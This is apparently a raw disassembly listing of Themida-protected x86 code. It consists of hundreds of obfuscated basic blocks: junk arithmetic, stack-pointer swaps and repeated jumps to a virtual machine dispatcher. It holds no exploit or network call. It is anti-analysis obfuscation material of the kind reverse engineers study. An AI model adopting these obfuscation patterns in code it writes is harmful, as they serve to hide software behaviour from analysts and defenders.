loc_562267:				; CODE XREF: sub_55EDA7+74B4j
		add	esp, 4
		jmp	loc_56CD74
; ---------------------------------------------------------------------------


loc_56226F:				; CODE XREF: sub_55EDA7+A906j
		pop	edx
		jmp	loc_561562
; ---------------------------------------------------------------------------


loc_562275:				; CODE XREF: sub_55EDA7+20B0j
		mov	ebp, 61E5434Dh
		jmp	loc_56A07F
; ---------------------------------------------------------------------------


loc_56227F:				; CODE XREF: sub_55EDA7+115FFj
		push	dword ptr [esp+0]
		mov	eax, [esp+2+var_4+2]
		sub	esp, 4
		mov	[esp+6+var_8+2], edx
		push	esp
		pop	edx
		push	edi
		push	ebx
		mov	ebx, 60BB4DD8h
		neg	ebx
		jmp	loc_565B9A
; ---------------------------------------------------------------------------


loc_56229E:				; CODE XREF: sub_55EDA7+9E5Cj
		add	esi, 4
		add	esi, 4
		jmp	loc_5684B4
; ---------------------------------------------------------------------------


loc_5622AC:				; CODE XREF: sub_55EDA7+124Cj
		add	edi, 60565CCCh
		sub	edi, ebx
		sub	edi, 60565CCCh
		add	edi, 566C5FFFh
		mov	ebx, [esp-1Ch+arg_18]
		add	esp, 4
		push	esi
		mov	esi, 78405A35h
		or	edi, esi
		pop	esi
		push	esi
		mov	esi, 71306953h
		shr	esi, 6
		jmp	loc_56000D
; ---------------------------------------------------------------------------


loc_5622DD:				; CODE XREF: sub_55EDA7+7DB4j
		xchg	ecx, [esp-1Ch+arg_18]
		jmp	loc_562B40
; ---------------------------------------------------------------------------


loc_5622E5:				; CODE XREF: sub_55EDA7+5069j
		pop	edx
		push	3CDEh
		jmp	loc_56914D
; ---------------------------------------------------------------------------


loc_5622F0:				; CODE XREF: sub_55EDA7+1EC7j
		mov	[esp-20h+arg_1C], esi
		sub	esp, 4
		mov	[esp-1Ch+arg_18], esp
		add	[esp-1Ch+arg_18], 4
		pop	esi
		add	esi, 4
		push	edx
		push	16D77BAh
		jmp	loc_56A9E7
; ---------------------------------------------------------------------------


loc_562315:				; CODE XREF: sub_55EDA7+12FEDj
		add	edx, 5094B808h
		sub	edi, edx
		pop	edx
		pop	edx
		push	0FDAh
		mov	[esp-1Ch+arg_18], ebp
		push	53E8h
		mov	[esp-18h+arg_14], ebx
		mov	ebx, 554518D0h
		jmp	loc_5689C7
; ---------------------------------------------------------------------------


loc_562339:				; CODE XREF: sub_55EDA7+F2C6j
		pop	ebx
		push	ecx
		mov	ch, 0D4h
		jmp	loc_55F04D
; ---------------------------------------------------------------------------


loc_562342:				; CODE XREF: sub_55EDA7+2081j
		pop	ecx
		jmp	loc_565563
; ---------------------------------------------------------------------------


loc_562348:				; CODE XREF: sub_55EDA7+3B4Aj
		inc	eax
		jmp	loc_571AB7
; ---------------------------------------------------------------------------


loc_56234E:				; CODE XREF: sub_55EDA7+78D8j
		xchg	esi, [esp-0Eh+arg_8+2]
		pop	esp
		add	word ptr [esp-12h+arg_C+2], ax
		pushf
		jmp	loc_55E1FB
; ---------------------------------------------------------------------------


loc_56235C:				; CODE XREF: sub_55EDA7+E09Fj
		sub	edi, 4
		xor	edi, [esp-0Eh+arg_8+2]
		xor	[esp-0Eh+arg_8+2], edi
		xor	edi, [esp-0Eh+arg_8+2]
		pop	esp
		jmp	sub_572A84
; ---------------------------------------------------------------------------


loc_562371:				; CODE XREF: sub_55EDA7+90E4j
		mov	[esp-12h+arg_C+2], edx
		jmp	loc_571BF4
; ---------------------------------------------------------------------------


loc_562379:				; CODE XREF: sub_55EDA7+1051Bj
		push	small 57A8h
		mov	word ptr [esp-10h+arg_C], dx
		mov	dh, 0A3h
		add	al, 0D8h
		add	al, dh
		sub	al, 0D8h
		jmp	loc_55F055
; ---------------------------------------------------------------------------


loc_56238E:				; CODE XREF: sub_55EDA7+DBBFj
		push	edx
		jmp	loc_560EE4
; ---------------------------------------------------------------------------


loc_562394:				; CODE XREF: sub_55EDA7+CAB3j
		pop	edx
		jmp	loc_56B234
; ---------------------------------------------------------------------------


loc_56239A:				; CODE XREF: sub_55EDA7+D32Dj
		shl	ebx, 1
		dec	ebx
		or	ebx, 73D10699h
		push	esi
		mov	esi, 8A148EAh
		and	ebx, esi
		mov	esi, [esp-0Ch+arg_8]
		add	esp, 4
		sub	ebx, 88100C6h
		add	eax, ebx
		pop	ebx
		jmp	loc_5600CD
; ---------------------------------------------------------------------------


loc_5623C2:				; CODE XREF: sub_55EDA7+D42Aj
		mov	eax, [esp-14h+arg_10]
		add	esp, 4
		sub	eax, 775643B3h
		push	ecx
		mov	ecx, 2018419Ah
		dec	ecx
		inc	ecx
		add	ecx, 0EE2CE617h
		add	eax, ecx
		pop	ecx
		xor	eax, 239900CCh
		push	0Ah
		mov	[esp-14h+arg_10], ebx
		jmp	loc_57002F
; ---------------------------------------------------------------------------


loc_5623F0:				; CODE XREF: sub_55EDA7+318j
		add	ebx, edx
		pop	edx
		sub	ebx, 4
		xchg	ebx, [esp+26h+var_26]
		pop	esp
		mov	[esp+22h+var_22], eax
		jmp	loc_56DD04
; ---------------------------------------------------------------------------


loc_562402:				; CODE XREF: sub_55EDA7+A8C2j
		sub	eax, ebx
		pop	ebx
		jmp	loc_570491
; ---------------------------------------------------------------------------


loc_56240A:				; CODE XREF: sub_55EDA7+5722j
		xchg	edx, edi
		not	edx
		jmp	loc_569B9D
; ---------------------------------------------------------------------------


loc_562413:				; CODE XREF: sub_55EDA7+D03Cj
		mov	[esp+1Eh+var_1E], ecx
		mov	ecx, 0F0E58FFh
		jmp	loc_56BA7F
; ---------------------------------------------------------------------------


loc_562420:				; CODE XREF: sub_55EDA7+10051j
		pop	eax
		add	esp, 4
		inc	ecx
		add	ecx, 80328096h
		push	ecx
		jmp	loc_55F345
; ---------------------------------------------------------------------------


loc_562431:				; CODE XREF: sub_55EDA7+7EB2j
		pop	[esp+1Ah+var_1A]
		jmp	loc_563D12
; ---------------------------------------------------------------------------


loc_562439:				; CODE XREF: sub_55EDA7+216Dj
		sub	bl, cl
		pop	cx
		push	eax
		mov	ah, 0B7h
		push	edx
		push	eax
		jmp	loc_56DD2F
; ---------------------------------------------------------------------------


loc_562447:				; CODE XREF: sub_55EDA7+EEFCj
		mov	edx, esp
		add	edx, 4
		jmp	loc_56283C
; ---------------------------------------------------------------------------


loc_562454:				; CODE XREF: sub_55EDA7+ADDCj
		pop	eax
		mov	edi, edx
		pop	edx
		jmp	loc_56B3D7
; ---------------------------------------------------------------------------


loc_56245D:				; CODE XREF: sub_55EDA7+B0CBj
		add	esp, 4
		jmp	loc_56C434
; ---------------------------------------------------------------------------


loc_562465:				; CODE XREF: sub_55EDA7+25E3j
		xchg	edi, [esp-18h+arg_14]
		jmp	loc_569B18
; ---------------------------------------------------------------------------


loc_56246D:				; CODE XREF: sub_55EDA7+ABE1j
		add	esp, 4
		sub	ebp, 15EF6B8Ch
		add	ebp, ecx
		add	ebp, 15EF6B8Ch
		pop	ecx
		push	edi
		push	ebp
		jmp	loc_56FA11
; ---------------------------------------------------------------------------


loc_562486:				; DATA XREF: Themida_:0055DF5Co
		push	dword ptr [edi+1Ch]
		popf
		pop	ax
		adc	word ptr [esp-1Ah+arg_14+2], ax
		pushf
		jmp	loc_55E1FB
; ---------------------------------------------------------------------------


loc_562496:				; CODE XREF: sub_55EDA7+3732j
		shl	esi, 2
		push	ebp
		sub	esp, 4
		mov	[esp-0Eh+arg_8+2], edi
		push	21714877h
		pop	edi
		jmp	loc_5726C8
; ---------------------------------------------------------------------------


loc_5624AB:				; CODE XREF: sub_55EDA7+783Aj
		xor	esi, ecx
		pop	ecx
		sub	esi, 1F71E3DBh
		jmp	loc_561D0C
; ---------------------------------------------------------------------------


loc_5624B9:				; CODE XREF: sub_55EDA7+A775j
		pop	eax
		mov	cl, 53h
		xor	cl, dl
		push	[esp-16h+arg_10+2]
		jmp	loc_55F26E
; ---------------------------------------------------------------------------


loc_5624C6:				; CODE XREF: sub_55EDA7+11441j
		xor	eax, [esp-12h+arg_C+2]
		pop	esp
		push	esi
		push	60A533Eh
		pop	esi
		not	esi
		and	esi, 0A39113Dh
		jmp	loc_562496
; ---------------------------------------------------------------------------


loc_5624DE:				; CODE XREF: sub_55EDA7+14FEj
		push	1FC9h
		mov	[esp+20h+var_22+2], esp
		jmp	loc_56CA83
; ---------------------------------------------------------------------------


loc_5624EB:				; CODE XREF: sub_55EDA7+B966j
		pop	[esp+20h+var_22+2]
		pop	esp
		retn
; ---------------------------------------------------------------------------
		jmp	loc_55E1FB
; ---------------------------------------------------------------------------


loc_5624F5:				; CODE XREF: sub_55EDA7+D0F2j
		mov	edx, [esp+18h+var_1A+2]
		add	esp, 4
		sub	edi, 1
		not	edi
		push	eax
		push	ecx
		jmp	loc_55E989
; ---------------------------------------------------------------------------


loc_56250A:				; CODE XREF: sub_55EDA7+107ACj
		pop	esi
		inc	edx
		push	ebx
		mov	ebx, 29342AA0h
		and	edx, ebx
		pop	ebx
		push	ecx
		mov	ecx, 3F012D2Dh
		push	ebp
		jmp	loc_56FFD7
; ---------------------------------------------------------------------------


loc_562521:				; CODE XREF: sub_55EDA7+C697j
		inc	eax
		add	eax, 3A9D77D7h
		inc	eax
		jmp	loc_567F36
; ---------------------------------------------------------------------------


loc_56252D:				; CODE XREF: sub_570A66+Aj
		push	small word ptr [esp+20h+var_1E]
		mov	di, word ptr [esp+22h+var_22]
		jmp	loc_570584
; ---------------------------------------------------------------------------


loc_56253B:				; CODE XREF: sub_55EDA7+4238j
		add	ebp, 0C305358h
		sub	ebp, 8530AE8Dh
		jmp	loc_56891A
; ---------------------------------------------------------------------------


loc_56254C:				; CODE XREF: sub_55EDA7+12FDAj
		sub	esi, edi
		jmp	loc_56B524
; ---------------------------------------------------------------------------


loc_562553:				; CODE XREF: sub_55EDA7+1443j
		xchg	edi, [esp+2Ch+var_2E+2]
		jmp	loc_561065
; ---------------------------------------------------------------------------


loc_56255B:				; CODE XREF: sub_55EDA7+AC51j
		push	esi
		jmp	loc_5644F9
; ---------------------------------------------------------------------------


loc_562561:				; CODE XREF: sub_55EDA7+EBCBj
		mov	esp, [esp+30h+var_32+2]
		mov	word ptr [esp+30h+var_32+2], cx
		movzx	cx, al
		push	cx
		pushf
		jmp	loc_57051D
; ---------------------------------------------------------------------------


loc_562574:				; CODE XREF: sub_572802+48j
		xor	ebx, esi
		mov	esi, [esp+36h+var_36]
		jmp	loc_56B95A
; ---------------------------------------------------------------------------


loc_56257E:				; CODE XREF: sub_55EDA7+10072j
		mov	edi, [esp+36h+var_36]
		add	esp, 4
		jmp	loc_5644E0
; ---------------------------------------------------------------------------


loc_562589:				; CODE XREF: sub_55EDA7+2A9j
		xchg	dh, ch
		jmp	loc_56CA28
; ---------------------------------------------------------------------------


loc_562590:				; CODE XREF: sub_55EDA7+B495j
		push	ecx
		jmp	loc_568FB8
; ---------------------------------------------------------------------------


loc_562596:				; CODE XREF: sub_55EDA7-99Fj
		add	eax, ebx
		add	[eax], ecx
		pop	eax
		mov	ebx, [esp+14h+var_16+2]
		add	esp, 4
		push	[esp+10h+var_12+2]
		jmp	loc_5648E1
; ---------------------------------------------------------------------------


loc_5625A9:				; CODE XREF: sub_55EDA7+2914j
		add	bl, al
		jmp	loc_5626A5
; ---------------------------------------------------------------------------


loc_5625B0:				; CODE XREF: sub_55EDA7+5956j
		mov	dh, 0E6h
		mov	ah, dh
		pop	dx
		mov	ch, ah
		jmp	loc_56A1D6
; ---------------------------------------------------------------------------


loc_5625BD:				; CODE XREF: sub_55EDA7+8F66j
		push	esp
		pop	ebx
		add	ebx, 4
		jmp	loc_560DE8
; ---------------------------------------------------------------------------


loc_5625CA:				; CODE XREF: sub_55EDA7+3CA4j
		jmp	loc_55E1FB
; ---------------------------------------------------------------------------


loc_5625CF:				; CODE XREF: sub_55EDA7+1248Bj
		mov	esi, 60E854D9h
		add	ebx, 40876DA0h
		jmp	loc_5725FF
; ---------------------------------------------------------------------------


loc_5625DF:				; CODE XREF: sub_55EDA7+26ADj
		push	8F3h
		push	esp
		pop	[esp+14h+var_16+2]
		push	ecx
		mov	ecx, 4
		add	[esp+14h+var_12+2], ecx
		mov	ecx, [esp+14h+var_16+2]
		add	esp, 4
		jmp	loc_5665A9
; ---------------------------------------------------------------------------


loc_5625FD:				; DATA XREF: Themida_:0055E054o
		pop	dword ptr [edi+40h]
		jmp	loc_55E1FB
; ---------------------------------------------------------------------------


loc_562605:				; CODE XREF: sub_55EDA7+1D9Dj
		add	edi, 0BD4038Ch
		mov	esi, [esp+28h+var_2A+2]
		add	esp, 4
		sub	edi, 5F2DE409h
		add	esi, edi
		jmp	loc_566679
; ---------------------------------------------------------------------------


loc_56261E:				; CODE XREF: sub_55EDA7+16C1j
		mov	ebx, [esp-12h+arg_C+2]
		add	esp, 4
		add	ebx, ecx
		mov	ecx, [esp-16h+arg_10+2]
		jmp	loc_55F717
; ---------------------------------------------------------------------------


loc_562631:				; CODE XREF: sub_55EDA7+1270Fj
		pop	esp
		jmp	loc_55F85C
; ---------------------------------------------------------------------------


loc_562637:				; CODE XREF: sub_55EDA7+9068j
		mov	bl, ch
		jmp	loc_572572
; ---------------------------------------------------------------------------


loc_56263E:				; CODE XREF: sub_55EDA7+B60Aj
		push	esi
		jmp	loc_55FC3C
; ---------------------------------------------------------------------------


loc_562644:				; CODE XREF: sub_55EDA7+A06Fj
		mov	[esp-16h+arg_10+2], ebp
		jmp	loc_567119
; ---------------------------------------------------------------------------


loc_56264C:				; CODE XREF: Themida_:0055EABDj
		mov	ebp, esp
		jmp	loc_56B7DE
; ---------------------------------------------------------------------------


loc_562653:				; CODE XREF: sub_55EDA7+3A3Dj
		mov	eax, esp
		push	7AE7h
		mov	[esp-12h+arg_C+2], ebx
		jmp	loc_560018
; ---------------------------------------------------------------------------


loc_562662:				; CODE XREF: sub_55EDA7+2F15j
		xor	edi, ecx
		jmp	loc_56D694
; ---------------------------------------------------------------------------


loc_562669:				; CODE XREF: sub_55EDA7+9F85j
		push	eax
		mov	eax, 2483BAAh
		push	605h
		mov	[esp+30h+var_32+2], eax
		pop	ebx
		pop	eax
		shl	ebx, 7
		neg	ebx
		push	ecx
		mov	ecx, 3CC42762h
		or	ebx, ecx
		pop	ecx
		neg	ebx
		inc	ebx
		jmp	loc_55FE00
; ---------------------------------------------------------------------------


loc_56268F:				; CODE XREF: sub_55EDA7+12ADEj
		mov	dh, 89h
		not	dh
		dec	dh
		jmp	loc_55FF57
; ---------------------------------------------------------------------------


loc_56269A:				; CODE XREF: sub_55EDA7+8FA8j
		mov	dword ptr [ecx], 0
		jmp	loc_564FC7
; ---------------------------------------------------------------------------


loc_5626A5:				; CODE XREF: sub_55EDA7+3804j
		pop	eax
		sub	bl, 53h
		sub	bl, al
		add	bl, 53h
		push	edx
		push	19DDh
		mov	[esp+38h+var_3A+2], eax
		mov	al, 21h
		push	ecx
		mov	ch, 35h
		push	ebx
		mov	bh, ch
		mov	dh, bh
		jmp	loc_565691
; ---------------------------------------------------------------------------


loc_5626C6:				; CODE XREF: sub_55EDA7+12B33j
		add	edi, ecx
		mov	ecx, [esp+40h+var_42+2]
		add	esp, 4
		jmp	loc_5654C1
; ---------------------------------------------------------------------------


loc_5626D3:				; CODE XREF: sub_55EDA7+CA71j
		sub	ebx, esi
		mov	esi, [esp+3Ch+var_3E+2]
		add	esp, 4
		push	edx
		mov	edx, 2C213476h
		add	edx, 0FFFFFFFFh
		neg	edx
		neg	edx
		push	0DD1h
		mov	[esp+40h+var_42+2], esi
		jmp	loc_563F6C
; ---------------------------------------------------------------------------


loc_5626F8:				; CODE XREF: sub_56CC41+9j
		mov	edx, 70571E4Ah
		add	edx, 6F7845C5h
		push	ebp
		mov	ebp, 318A46A7h
		and	edx, ebp
		pop	ebp
		or	edx, 77203C8Ah
		sub	edx, 6A5A40ADh
		mov	ebp, edx
		push	[esp+40h+var_42+2]
		jmp	loc_56A02E
; ---------------------------------------------------------------------------


loc_562722:				; CODE XREF: sub_55EDA7+1EA1j
		shr	esi, 7
		shr	esi, 2
		push	ebx
		mov	ebx, 23D6A38h
		shl	ebx, 4
		xor	ebx, 4E4BB825h
		sub	esi, ebx
		pop	ebx
		sub	esi, 4FD05B95h
		mov	ebx, esi
		pop	esi
		and	ebx, 117812CCh
		not	ebx
		shr	ebx, 7
		neg	ebx
		jmp	loc_562974
; ---------------------------------------------------------------------------


loc_562755:				; CODE XREF: sub_55EDA7+9B11j
		push	small word ptr [eax]
		jmp	loc_55E1FB
; ---------------------------------------------------------------------------


loc_56275D:				; CODE XREF: sub_55EDA7+1158j
		add	esp, 4
		jmp	loc_56B432
; ---------------------------------------------------------------------------


loc_562765:				; CODE XREF: sub_55EDA7+C99Ej
		not	edx
		xor	edx, 0FB46E19Bh
		mov	edi, edx
		pop	edx
		mov	ebp, edi
		jmp	loc_561702
; ---------------------------------------------------------------------------


loc_562777:				; CODE XREF: sub_55EDA7+131A5j
		add	ebx, 4
		add	ebx, 4
		push	ebx
		push	[esp-20h+arg_20]
		pop	ebx
		pop	[esp-20h+arg_1C]
		pop	esp
		jmp	loc_569B68
; ---------------------------------------------------------------------------


loc_562792:				; CODE XREF: sub_55EDA7+A719j
		mov	ebx, [esp-28h+arg_24]
		add	esp, 4
		xchg	esi, [esp-2Ch+arg_28]
		mov	esp, [esp-2Ch+arg_28]
		jmp	loc_56EE48
; ---------------------------------------------------------------------------


loc_5627A6:				; CODE XREF: sub_55EDA7+124CAj
		mov	[esp-2Ch+arg_28], ecx
		jmp	loc_55E1FB
; ---------------------------------------------------------------------------


loc_5627AE:				; CODE XREF: sub_55EDA7+64EEj
		pop	esp
		add	eax, edx
		pop	edx
		jmp	sub_56CC41
; ---------------------------------------------------------------------------


loc_5627B7:				; CODE XREF: sub_55EDA7+120E8j
		mov	edx, esp
		add	edx, 4
		add	edx, 2
		jmp	loc_56FF53
; ---------------------------------------------------------------------------


loc_5627CA:				; CODE XREF: sub_55EDA7+5E5Fj
		add	[esp-34h+arg_34], esi
		sub	[esp-34h+arg_34], 3E6E57BCh
		pop	esi
		jmp	loc_55E4EC
; ---------------------------------------------------------------------------


loc_5627DC:				; CODE XREF: sub_55EDA7+32F1j
		push	57FDh
		mov	[esp-4+arg_0], eax
		jmp	loc_562653
; ---------------------------------------------------------------------------


loc_5627E9:				; CODE XREF: sub_55EDA7+12134j
		mov	[esp-4+arg_0], edx
		mov	edx, 2
		mov	esi, edx
		jmp	loc_569D69
; ---------------------------------------------------------------------------


loc_5627F8:				; CODE XREF: sub_55EDA7+E49Ej
		pop	ecx
		add	eax, ebp
		mov	ebp, [esp-8+arg_4]
		jmp	loc_560C09
; ---------------------------------------------------------------------------


loc_562803:				; CODE XREF: sub_55EDA7+B333j
		push	esp
		jmp	loc_5672D4
; ---------------------------------------------------------------------------


loc_562809:				; CODE XREF: sub_55EDA7+9FC8j
		mov	ebx, 53E4584Fh
		mov	ebp, 20EF1EECh
		jmp	loc_56F842
; ---------------------------------------------------------------------------


loc_562818:				; CODE XREF: sub_55EDA7+70DAj
		pop	ecx
		push	1BCEh
		mov	[esp-4+arg_0], eax
		mov	eax, 20BE453Ah
		shr	eax, 3
		shr	eax, 3
		xor	eax, 532F3FB8h
		jmp	loc_56DE25
; ---------------------------------------------------------------------------


loc_562836:				; CODE XREF: sub_55EDA7+5315j
		push	esi
		jmp	loc_56A65B
; ---------------------------------------------------------------------------


loc_56283C:				; CODE XREF: sub_55EDA7+36A8j
		sub	edx, 4
		xchg	edx, [esp+34h+var_36+2]
		pop	esp
		mov	[esp+30h+var_32+2], esi
		mov	esi, 50F3525Eh
		push	5D70h
		mov	[esp+34h+var_36+2], ebp
		push	esi
		mov	esi, 45065666h
		jmp	loc_567138
; ---------------------------------------------------------------------------


loc_562861:				; CODE XREF: sub_55EDA7+DB3Bj
		or	ecx, 7F803EA0h
		push	esi
		mov	esi, 56097C34h
		jmp	loc_56DC50
; ---------------------------------------------------------------------------


loc_562872:				; CODE XREF: sub_5723B5-1835j
		shl	ecx, 1
		push	eax
		mov	eax, 2F671E66h
		sub	eax, 642503B4h
		jmp	loc_56C236
; ---------------------------------------------------------------------------


loc_562884:				; CODE XREF: sub_55EDA7+127AEj
		pop	ebx
		jmp	loc_564D9E
; ---------------------------------------------------------------------------


loc_56288A:				; CODE XREF: sub_55EDA7+B837j
		push	ecx
		mov	ecx, 50C7412Ah
		and	ecx, 71791888h
		inc	ecx
		xchg	edi, ecx
		not	edi
		xchg	edi, ecx
		jmp	loc_560E50
; ---------------------------------------------------------------------------


loc_5628A2:				; CODE XREF: sub_55EDA7+90AEj
		inc	ebp
		and	ebp, 1DE313EDh
		jmp	loc_56E641
; ---------------------------------------------------------------------------


loc_5628AE:				; CODE XREF: sub_55EDA7+9931j
		pop	edi
		add	[esp+3Ch+var_3A+2], ebp
		push	ebp
		mov	ebp, 21C76877h
		add	[esp+40h+var_3A+2], ebp
		pop	ebp
		push	edx
		jmp	loc_5607B8
; ---------------------------------------------------------------------------


loc_5628C4:				; CODE XREF: sub_55EDA7+3CD1j
		jmp	loc_55E1FB
; ---------------------------------------------------------------------------


loc_5628C9:				; CODE XREF: sub_55EDA7+D5EEj
		add	edi, ecx
		jmp	loc_564754
; ---------------------------------------------------------------------------
		mov	cx, word ptr [esp+40h+var_42+2]
		sub	esp, 4
		mov	[esp+44h+var_46+2], esi
		mov	esi, esp
		push	ebp
		mov	ebp, 30C31BFBh
		push	esi
		push	5DC6h
		mov	[esp+0], eax
		push	522578ABh
		pop	eax
		jmp	loc_562348
; ---------------------------------------------------------------------------


loc_5628F6:				; CODE XREF: sub_55EDA7+133j
		pop	esp
		mov	[esp+14h+var_16+2], ebp
		push	esp
		pop	ebp
		jmp	loc_56CA6D
; ---------------------------------------------------------------------------


loc_562901:				; CODE XREF: sub_55EDA7+6748j
		mov	eax, 0F7E50EECh
		add	ebx, eax
		jmp	loc_56924A
; ---------------------------------------------------------------------------


loc_56290D:				; CODE XREF: sub_55EDA7+137EAj
		add	esp, 4
		pop	[esp+10h+var_12+2]
		mov	esp, [esp+0Ch+var_E+2]
		rol	[esp+0Ch+var_E+2], cl
		pushf
		jmp	loc_55E1FB
; ---------------------------------------------------------------------------


loc_562922:				; CODE XREF: sub_55EDA7+15F0j
		mov	ecx, [esp-14h+arg_10]
		add	esp, 4
		xor	ebx, esi
		jmp	loc_563724
; ---------------------------------------------------------------------------


loc_56292F:				; CODE XREF: sub_55EDA7+114E0j
		mov	edi, 2060263Ch
		jmp	loc_5640C7
; ---------------------------------------------------------------------------


loc_562939:				; CODE XREF: sub_55EDA7+86C9j
		pop	[esp-18h+arg_14]
		mov	esp, [esp-1Ch+arg_18]
		sub	[esp-1Ch+arg_18], eax
		pushf
		jmp	loc_55E1FB
; ---------------------------------------------------------------------------


loc_562948:				; CODE XREF: sub_55EDA7+FF30j
		shl	dl, 1
		add	dl, 0A8h
		jmp	loc_56A184
; ---------------------------------------------------------------------------


loc_562952:				; CODE XREF: sub_55EDA7+CF37j
		add	ecx, eax
		jmp	loc_569E87
; ---------------------------------------------------------------------------


loc_562959:				; CODE XREF: sub_55EDA7+E962j
		push	edx
		jmp	loc_56016D
; ---------------------------------------------------------------------------


loc_56295F:				; CODE XREF: sub_55EDA7+84A4j
		xor	eax, [esp-14h+arg_10]
		mov	esp, [esp-14h+arg_10]
		push	6D66h
		mov	[esp-10h+arg_C], edi
		mov	edi, esp
		jmp	loc_561836
; ---------------------------------------------------------------------------


loc_562974:				; CODE XREF: sub_55EDA7+39A9j
		dec	ebx
		jmp	loc_567AD0
; ---------------------------------------------------------------------------


loc_56297A:				; CODE XREF: sub_55EDA7+19BCj
		push	6E8Eh
		mov	[esp-28h+arg_24], eax
		push	ebx
		mov	ebx, 8E109626h
		mov	eax, ebx
		mov	ebx, [esp-24h+arg_20]
		add	esp, 4
		add	ebx, eax
		push	[esp-28h+arg_24]
		pop	eax
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		jmp	loc_571DAF
; ---------------------------------------------------------------------------


loc_5629A8:				; CODE XREF: sub_55EDA7+43E8j
		mov	edx, 6B660F6Ch
		shr	edx, 1
		neg	edx
		jmp	loc_56558E
; ---------------------------------------------------------------------------


loc_5629B6:				; CODE XREF: sub_55EDA7+88FBj
		pop	edi
		add	ecx, ebp
		pop	ebp
		push	ebp
		push	ebx
		jmp	loc_55F828
; ---------------------------------------------------------------------------


loc_5629C1:				; CODE XREF: sub_55EDA7-95Ej
		sub	bl, dl
		pop	edx
		jmp	loc_56761E
; ---------------------------------------------------------------------------


loc_5629C9:				; CODE XREF: sub_55EDA7+1E1Ej
		push	[esp-18h+arg_14]
		jmp	loc_570C43
; ---------------------------------------------------------------------------


loc_5629D1:				; CODE XREF: sub_55EDA7+C768j
		pop	ebx
		xchg	edx, [esp-18h+arg_14]
		jmp	loc_5686A1
; ---------------------------------------------------------------------------


loc_5629DA:				; CODE XREF: sub_55EDA7+E6C1j
		xor	esi, edi
		mov	edi, [esp-18h+arg_14]
		add	esp, 4
		jmp	loc_56A47B
; ---------------------------------------------------------------------------


loc_5629E7:				; CODE XREF: sub_55EDA7+8542j
		shl	ecx, 1
		shr	ecx, 3
		jmp	loc_5635A0
; ---------------------------------------------------------------------------


loc_5629F1:				; CODE XREF: sub_55EDA7+13E4Dj
		sub	ebp, edx
		add	ebp, 23062B03h
		pop	edx
		sub	ebp, ecx
		add	ebp, 17C15E4Eh
		sub	ebp, 40C51F66h
		jmp	loc_561938
; ---------------------------------------------------------------------------


loc_562A0D:				; CODE XREF: sub_55EDA7+4CE6j
		push	10BBh
		mov	[esp-1Ch+arg_18], ebp
		push	eax
		pop	ebp
		pop	eax
		shr	ebp, 5
		or	ebp, 8DC754Eh
		add	ebp, 0FFFFFFFFh
		sub	esp, 4
		mov	[esp-1Ch+arg_18], edi
		mov	edi, 0C4D78A5h
		add	ebp, 50531700h
		sub	ebp, 300F216Eh
		jmp	loc_565734
; ---------------------------------------------------------------------------


loc_562A40:				; CODE XREF: sub_55EDA7+6D63j
		mov	[esp-1Ch+arg_18], edi
		jmp	loc_55F818
; ---------------------------------------------------------------------------
		push	dword ptr [edi+2Ch]
		jmp	loc_5625CA
; ---------------------------------------------------------------------------


loc_562A50:				; CODE XREF: sub_55EDA7+4A12j
		sub	bl, 93h
		jmp	loc_5716A7
; ---------------------------------------------------------------------------


loc_562A58:				; CODE XREF: sub_55EDA7+7982j
		sub	esi, 0D2DFF824h
		mov	ebp, esi
		push	[esp-18h+arg_14]
		pop	esi
		jmp	loc_571237
; ---------------------------------------------------------------------------


loc_562A69:				; CODE XREF: sub_55EDA7+B0FAj
		xor	[esp-18h+arg_14], ecx
		xor	ecx, [esp-18h+arg_14]
		pop	esp
		push	60E3h
		mov	[esp-18h+arg_14], eax
		jmp	loc_5628C4
; ---------------------------------------------------------------------------


loc_562A7D:				; CODE XREF: sub_55EDA7+10A10j
		add	[esp-18h+arg_14], 3B7048D6h
		mov	eax, [esp-18h+arg_14]
		jmp	loc_564EC2
; ---------------------------------------------------------------------------


loc_562A8C:				; CODE XREF: sub_55EDA7+BC90j
		push	[esp-18h+arg_14]
		jmp	loc_5603A9
; ---------------------------------------------------------------------------


loc_562A94:				; CODE XREF: sub_55EDA7+EA4Fj
		add	edi, ebp
		mov	ebp, [esp-14h+arg_10]
		add	esp, 4
		sub	esp, 4
		mov	[esp-14h+arg_10], eax
		mov	eax, 17D26CE7h
		jmp	loc_5702AB
; ---------------------------------------------------------------------------


loc_562AAF:				; CODE XREF: sub_55EDA7+7510j
		sub	eax, ebx
		jmp	loc_56C1FE
; ---------------------------------------------------------------------------


loc_562AB6:				; CODE XREF: sub_55EDA7+11E18j
		push	ecx
		mov	ecx, 6E8B20A9h
		sub	eax, ecx
		pop	ecx
		push	[esp-14h+arg_10]
		pop	edx
		jmp	loc_56ECF2
; ---------------------------------------------------------------------------


loc_562AC8:				; CODE XREF: sub_55EDA7+A862j
		add	ecx, 4
		push	esi
		mov	esi, 4
		jmp	loc_5618FA
; ---------------------------------------------------------------------------


loc_562AD9:				; CODE XREF: sub_55EDA7+1373Dj
		mov	edx, 11C42B7Bh
		add	ebx, 328C64F6h
		sub	ebx, edx
		sub	ebx, 328C64F6h
		pop	edx
		jmp	loc_57266A
; ---------------------------------------------------------------------------


loc_562AF2:				; CODE XREF: sub_55EDA7+DAAAj
		push	edx
		mov	dl, cl
		mov	bl, dl
		mov	edx, [esp-10h+arg_C]
		add	esp, 4
		push	[esp-14h+arg_10]
		mov	ecx, [esp-10h+arg_C]
		add	esp, 4
		push	6123h
		mov	[esp-10h+arg_C], ecx
		mov	ecx, esp
		jmp	loc_564606
; ---------------------------------------------------------------------------


loc_562B1B:				; CODE XREF: sub_55E703+6j
		push	3B83h
		mov	[esp-0Ch+arg_8], eax
		push	6B0B144Bh
		push	[esp-8+arg_4]
		pop	eax
		jmp	loc_56D4FB
; ---------------------------------------------------------------------------


loc_562B31:				; CODE XREF: sub_55EDA7+A298j
		xor	ecx, 9AE08C03h
		add	ebx, ecx
		pop	ecx
		push	ecx
		jmp	loc_570562
; ---------------------------------------------------------------------------


loc_562B40:				; CODE XREF: sub_55EDA7+3539j
		pop	esp
		jmp	loc_5663F3
; ---------------------------------------------------------------------------


loc_562B46:				; CODE XREF: sub_55EDA7+B083j
		shl	ebp, 5
		shr	ebp, 1
		push	edi
		mov	edi, 2B5977E3h
		push	1D9Bh
		mov	[esp-18h+arg_14], eax
		mov	eax, 39DAE903h
		xor	edi, eax
		pop	eax
		xor	ebp, edi
		pop	edi
		push	edi
		mov	edi, ebp
		sub	esp, 4
		mov	[esp-18h+arg_14], edi
		pop	eax
		pop	edi
		pop	ebp
		or	[edi+1Ch], eax
		pop	eax
		jmp	loc_55E1FB
